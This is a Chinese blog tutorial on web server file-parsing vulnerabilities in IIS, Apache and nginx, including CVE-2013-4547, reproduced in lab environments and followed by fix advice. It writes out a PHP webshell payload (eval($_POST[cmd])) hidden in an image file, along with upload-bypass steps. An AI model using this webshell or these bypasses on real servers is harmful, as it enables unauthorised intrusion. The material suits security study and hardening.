banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

常见的一些解析漏洞

解析漏洞#

当我们访问 web 服务器时,如:www.example.com/index.php 文件时,向 web 服务器发出请求,访问 php 文件,php 的解析器将 php 文件解析成静态文件,返回给浏览器供用户浏览。

服务器解析漏洞就发生在浏览器向服务器上传文件时,服务器把攻击者恶意构造的文件进行解析,并返回给浏览器,从而达到上传恶意文件的目的。

IIS5.x/6.0 解析漏洞#

IIS 的解析方法有两种

1、目录解析

如果服务器上存在一个目录为 xx.asp,那么在这个目录下的文件都会被解析成 asp 文件。

image

image

2、文件解析

image

通过菜刀进行连接即可连接成功。

image.png

IIS6.0 除了执行 asp 文件外,还可以执行如:asa、cer、cdx 等文件后缀的文件。可结合目录解析漏洞进行利用。如:xxx.cer/xxx.jpgxxx.asa;.jpg

apache 解析漏洞#

1、多种后缀

apache 对文件后缀的识别是从右往左进行解析,如:xxx.php.hcx.hts。会先判断右边的.hts 后缀,发现这个后缀不正常,开始解析.hcx,最终解析到 php 文件,从而执行恶意文件。

查看 php 的模块配置文件 /etc/apache2/mods-available/php7.0.conf

#从下面的FileMatch中可以看到".+.ph(p[3457]?|t|tml)$",$代表最后一个,说明php本身
#还是检测最后一个后缀的 。

<FilesMatch ".+.ph(p[3457]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>

<FilesMatch ".+.phps$">
SetHandler application/x-httpd-php-source
# Deny access to raw php sources by default
# To re-enable it's recommended to enable access to the files
# only in specific virtual host or directory
Require all denied
</FilesMatch>

Deny access to files without filename (e.g. '.php')

<FilesMatch "^.ph(p[3457]?|t|tml|ps)$">
Require all denied
</FilesMatch>

Running PHP scripts in user directories is disabled by default
To re-enable PHP in user directories comment the following lines
(from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>

访问如下,php 未解析,直接返回源代码:

image.png

接下来,我们将上述那段配置文件中的$改成\.线。

<FilesMatch ".+\.ph(p[3457]?|t|tml)\.">
    SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps\.">
    SetHandler application/x-httpd-php-source
    # Deny access to raw php sources by default
    # To re-enable it's recommended to enable access to the files
    # only in specific virtual host or directory
    Require all denied
</FilesMatch>
# Deny access to files without filename (e.g. '.php')
<FilesMatch "^\.ph(p[3457]?|t|tml|ps)\.">
    Require all denied
</FilesMatch>

# Running PHP scripts in user directories is disabled by default
#
# To re-enable PHP in user directories comment the following lines
# (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
# prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
    <Directory /home/*/public_html>
        php_admin_flag engine Off
    </Directory>
</IfModule>

重启 apache 服务。

service apache2 restart

image.png

image.png

文件解析成功。

2、罕见后缀

apache 会解析特定的 mime 类型的文件,在 /etc/mime.types 文件中定义了可以解析的文件后缀格式。

image.png

如果站点的文件上传处,未对在 mime.types 文件中类型进行过滤,那么有可能攻击者可以通过上传 apache 解析的异类 php 文件后缀,从而绕过站点过滤器。

3、.htacesss 文件

在网站根目录默认不存在.htaccess 文件,需要自己建立,.htaccess 内容如下

AddType application/x-httpd-php xxx

 <FilesMatch "shell.jpg">
	 SetHandler application/x-httpd-php
 </FilesMatch>

.htaccess 功能默认是未开启的,访问结果如下:

image.png

编辑 apache 配置文件

将 AllowOverride None 改成 AllowOverride All

<Directory />
        Options FollowSymLinks
        AllowOverride All
        Require all denied
</Directory>

<Directory /usr/share>
        AllowOverride None
        Require all granted
</Directory>

<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
</Directory>

#<Directory /srv/>
#       Options Indexes FollowSymLinks
#       AllowOverride None
#       Require all granted
#</Directory>

并且将.ht 开头的匹配改成 granted.

<FilesMatch "^.ht">
Require all granted
</FilesMatch>

3、加载 rewrite 模块

创建软连接

cd /etc/apache2/mods-enabled/
ln -s ../mods-available/rewrite.load rewrite.load

如上,.htaccess 功能已经开启。在网站根目录 (/var/www/html) 建立相应的测试文件。

root@kali:/var/www/html# tree
.
├── index.html
├── index.php
├── shell.jpg
├── test
 ├── shell.jpg
 └── [type.xxx](http://type.xxx/)
└── [type.xxx](http://type.xxx/)

shell.jpg 和 type.xxx 的内容均为

<?php echo 'HELLO WORLD'; ?>

浏览器访问 shell.jpg 图片后缀和 type.xxx 的文件,直接执行了 php 代码文件。

image.png

image.png

合理的利用.htaccess 文件可以很好的绕过 php 后缀的过滤。

文件解析漏洞总结 - Apache - CSDN 博客

nginx 解析漏洞#

Nginx 是一款高性能的 web 服务器,使用非常广泛,其不仅经常被用作反向代理,也可以非常好的支持 PHP 的运行。

Nginx 在0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37版本中曾被发现存在较为严重的安全问题,默认情况下可能导致服务器错误的将任何类型的文件以 PHP 的方式进行解析,这将导致严重的安全问题,使得恶意的攻击者可能攻陷支持 php 的 nginx 服务器。

nginx 漏洞环境搭建起来比较麻烦,还是直接用漏洞平台吧!

所以,就拿 vulhub 漏洞平台进行演示。

vulhub 项目地址:https://github.com/vulhub/vulhub

vulhub 漏洞平台基于 docker 进行搭建,docker 的好处是漏洞环境可以直接拉取下来,直接可以使用,不用自己重新去搭建环境。

1、安装 docker

# 安装pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3

# 安装最新版docker
curl -s https://get.docker.com/ | sh

# 启动docker服务
service docker start

# 安装compose
pip install docker-compose

2、vulhub 用法

# 拉取项目
git clone https://github.com/vulhub/vulhub.git
cd vulhub

# 进入某一个漏洞/环境的目录
cd flask/ssti

# 自动化编译环境
docker-compose build

# 启动整个环境
docker-compose up -d

以上来自 vulhub 的 readme

注:

1、启动环境时,注意系统时间的设置,如果时间不一致会报错。

Get https://registry-1.docker.io/v2/: x509: certificate has expired or is no

nginx 解析漏洞与 nginx、php 版本无关,属于用户配置文件配置不当造成的,但在高版本的 php 中,引入了 “security.limit_extensions” 机制,默认只解析后缀为.php 的文件。

nginx 版本如下:

image.png

Nginx 拿到一个 test.jpg/.php 的文件之后,看到 url 最后面的 php 文件后缀,便认为是 php 文件,交给 php 解析器进行处理,但 php 解析器为发现这个 php 文件,便去掉 php 后缀,取 test.jpg,test.jpg 存在但不是 php 文件而是图片文件,php 解析器不解析,返回 Access denied。

nginx 解析漏洞有 80sec 组织发现的,当在 fastcgi 开启的情况下,攻击者上传一个 jpg 文件,内容如下:

<?PHP phpinfo() ?>

然后访问 xxx.jpg/.php 文件,那么这个文件会解析成 php 文件。

此时,显示如下:

image.png

image.png

显示Access denied

这是因为在最新版的 php.ini 配置文件中,cgi.fix_pathinfo=1,默认为 1,如果将 cgi.fix_pathinof 设置为 0,那么就不解析后面的后缀了,解析漏洞也就不存在了。

image.png

现在还解析不了,因为在新版本的 php 中引入了 “security.limit_extensions” 机制,限制了可执行文件的后缀。

# 查找php-fpm.conf文件

# find / -name php-fpm.conf
/etc/php-fpm.conf

php-fpm.conf 文件包含了包含了 /etc/php-fpm.d/*.conf 目录下的文件配置。

image.png

进入到 /etc/php-fpm.d/ 目录下,编辑相应的配置文件。

image.png

重启 nginx 和 php-fpm 服务。

浏览器访问

image.png

# 制作图片马

copy xx.png/b + yy.txt/a xy.png

yy.txt内容如下:

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

image.png

image.png

上传一个 png 图片马,浏览器访问。

image.png

菜刀访问生成的 shell.php 文件,http://192.168.63.131/shell.php。

image.png

参考:

https://blog.csdn.net/wn314/article/details/77388289

修复建议

1、将 php.ini 配置文件中的 cgi.fix_pathinfo=1 改成 cgi.fix_pathinfo=0
2、通过新版本的 php 中引入了 “security.limit_extensions” 机制,限制了可执行文件的后缀。

Nginx 文件名逻辑漏洞(CVE-2013-4547)#

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

nginx 的配置文件中:

location ~ \.php$ {
            root           html;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            include        fastcgi_params;
#           try_files   $uri = 404;
            
        }

默认匹配到.php 结尾的文件就发给 fastcgi 进行解析,

cgi.fix_pathinfo=0的情况下,默认只允许执行 php 后缀的文件,如果存在 Nginx 文件名逻辑漏洞(CVE-2013-4547),则非法字符空格和截止符(\0)会导致 Nginx 解析 URI 时的有限状态机混乱,允许攻击者通过非编码空格绕过后缀限制,从而执行 php 代码。

利用 vulhub 环境测试。

表单框如下:

image.png

1、上传 gif 图片文件,burp 拦截请求。

gif 图片文件内容如下:

<?php phpinfo();?>

image.png

1.gif改为1.gif[空格].gif后面加一个空格,点击 forward,提示上传成功。

2、浏览器访问

浏览器访问192.168.63.140:8080/uploadfiles/1.gif...php,在 gif 后面加...php,方便改包,burp 将请求包拦截下来。

image.png

image.png

将 gif 后的第一个点改为 20,第二个点改成 00,点击 forward。

最终请求的 url 就是192.168.63.140:8080/uploadfiles/1.gif1.gif[0x20][0x00].php

3、php 代码成功执行。

image.png

总结#

好早之前写的一篇文章了,如果文件上传功能点白名单,通常需要配合解析漏洞才能利用,解析漏洞现在也越来越少了,中间件的版本毕竟都变高了。

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.